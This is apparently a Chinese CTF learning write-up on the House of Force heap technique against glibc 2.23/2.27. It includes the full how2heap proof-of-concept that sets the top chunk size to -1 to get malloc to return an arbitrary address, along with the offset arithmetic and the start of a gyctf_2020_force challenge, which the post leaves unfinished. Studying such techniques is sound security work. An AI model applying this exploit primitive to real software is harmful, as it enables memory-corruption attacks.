(1)https://bbs.kanxue.com/thread-262114.htm
(2):https://www.cnblogs.com/ZIKH26/articles/16533388.html
以及经典的wiki:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/house-of-force/
(可能我的文章会与他们有部分重合因为我是一步步跟着调试进行,如有问题请联系我)
前言:
House of force是一种基于top chunk的攻击手法,是利用glibc2.23以及2.27对top chunk进行size的合法检查的漏洞演变而来的,如果malloc函数执行时发现没有任何的bins中的堆块能够满足需求,就会从top chunk中切下一块内存返回给malloc,如果我们可以修改top chunk的size那么我们就可以将top chunk的大小修改至任意位置,再申请就相当于是任意位置读写了
对top chunk的size位的检查的相关代码如下:
1 // 获取当前的top chunk,并计算其对应的大小
2 victim = av->top;
3 size = chunksize(victim);
4 // 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
5 if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
6 {
7 remainder_size = size - nb;
8 remainder = chunk_at_offset(victim, nb);
9 av->top = remainder;
10 set_head(victim, nb | PREV_INUSE |
11 (av != &main_arena ? NON_MAIN_ARENA : 0));
12 set_head(remainder, remainder_size | PREV_INUSE);
13
14 check_malloced_chunk(av, victim, nb);
15 void *p = chunk2mem(victim);
16 alloc_perturb(p, bytes);
17 return p;
18 }
可以看到这一句比较语句
5 if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
size是一个((unsigned long) (size),如果我们给他修改成为-1,那么是不是就可以让size变成一个无限大的数字就可以通过比较了
how2heap例子:
1 //patchelf --set-interpreter /home/yic/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-linux-x86-64.so.2 ./force
2 //patchelf --set-rpath /home/yic/glibc-all-in-one/libs/2.23-0ubuntu3_amd64 ./force
3 //gcc -g force.c -no-pie -o force
4 #include <stdio.h>
5 #include <stdint.h>
6 #include <stdlib.h>
7 #include <string.h>
8 #include <stdint.h>
9 #include <malloc.h>
10 char bss_var[] = "This is a string that we want to overwrite.";
11
12 int main(int argc , char* argv[])
13 {
14 fprintf(stderr, "\n欢迎学习 House of Force\n\n");
15 fprintf(stderr, "House of Force 这种方法是去覆写 top chunk 这样 malloc 的时候就可以 malloc 到任意地址\n");
16 fprintf(stderr, "top chunk 是一类特殊的 chunk,在内存最后面。并且是当 malloc 向操作系统请求更多空间时将调整大小的块。\n");
17
18 fprintf(stderr, "\n最后我们会覆盖这个变量 %p.\n", bss_var);
19 fprintf(stderr, "现在变量值是:%s\n", bss_var);
20
21 fprintf(stderr, "\n先分配一个 chunk.\n");
22 intptr_t *p1 = malloc(256);
23 fprintf(stderr, "malloc(256) 的地址: %p.\n", p1 - 2);
24
25 fprintf(stderr, "\n现在有两块,一个我们申请的,一个 top chunk.\n");
26 int real_size = malloc_usable_size(p1);
27 fprintf(stderr, "我们申请的 chunk 加上 chunk 头,大小是:%ld.\n", real_size + sizeof(long)*2);
28
29 fprintf(stderr, "\n现在假设有一个漏洞,可以覆盖掉 top chunk 的头部分\n");
30
31 intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
32 fprintf(stderr, "\ntop chunk 起始地址是:%p\n", ptr_top);
33
34 fprintf(stderr, "\n用一个很大的值覆盖掉 top chunk 的 size 位可以防止 malloc 调用 mmap\n");
35 fprintf(stderr, "top chunk 之前的 size:%#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
36 *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
37 fprintf(stderr, "top chunk 现在的 size:%#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
38
39 fprintf(stderr, "\n因为现在 top chunk 的 size 是很大的,所以我们可以调用 malloc 而不会调用 mmap\n");
40
41 /*
42 * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
43 * new_top = old_top + nb
44 * nb = new_top - old_top
45 * req + 2sizeof(long) = new_top - old_top
46 * req = new_top - old_top - 2sizeof(long)
47 * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
48 * req = dest - old_top - 4*sizeof(long)
49 */
50 unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
51 fprintf(stderr, "\n我们想把数据写在这里:%p, top chunk 在:%p, 还要把 chunk 头算进去,我们将要申请 %#lx 字节.\n", bss_var, ptr_top, evil_size);
52 void *new_ptr = malloc(evil_size);
53 fprintf(stderr, "新申请的 chunk 将会与之前的 top chunk 在同一个位置: %p\n", new_ptr - sizeof(long)*2);
54
55 void* ctr_chunk = malloc(100);
56 fprintf(stderr, "\n接下来再申请 chunk 的话将会指向我们想要修改的地方\n");
57 fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
58 fprintf(stderr, "现在我们就可以控制 bss_var 这块地方的值了\n");
59
60 fprintf(stderr, "... 之前内容是: %s\n", bss_var);
61 fprintf(stderr, "... 接下来把 \"YEAH!!!\" 写到那里...\n");
62 strcpy(ctr_chunk, "YEAH!!!");
63 fprintf(stderr, "... 新的内容: %s\n", bss_var);
64 // some further discussion:
65 //fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
66 //fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
67 // "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
68 //fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
69 //fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
70 //fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
71 // "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");
72
73 //fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
74 //fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);
75
76 //fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
77 }
首先将断点下载第28行,申请了一个chunk,发现topchunk的位置是0x405110
再将断点下在38行,用-1进行绕过检查,将top chunk的size变成很大的数值
36 *(intptr_t *)((char *)ptr_top + sizeof(long)) =-1;
假设我们想要让 new_top的地址 到 0x404060,现在要让0x404060-0x20 =old_top的地址(0x405110) + size ,所以这个 size 应该是 0x404040-0x405110=0xffffffffffffef30,
至于为什么减去了0x20呢,我们想要申请到 0x404060 的时候要留出它的 chunk 头有 0x10的大小, 这就是说 0x404060-0x10 = old_top+size,即 size = 0x404060-0x10 - old_top,但是还要注意,我们去malloc的时的 size 的时候实际上申请的是 size+0x10 大小的 chunk,还要把这个 0x10 留出来,则就是最后就是减去0x20(32位程序是减去0x10)
例题:gyctf_2020_force
一道很看起来很简略的题目,我修改了一些函数名和变量名令程序好看一些
main函数:
add函数:
put函数:
你会发现,根本没有free函数,乐了,而且题目也给提示了,这题可以使用HOF,我们可以看到add函数中
我们可以申请任意大小的chunk却可以输入固定大小0x50字节的内容,如果我们申请小于0x50大小的chunk就可以造成溢出,具体的过程等调试完后继续写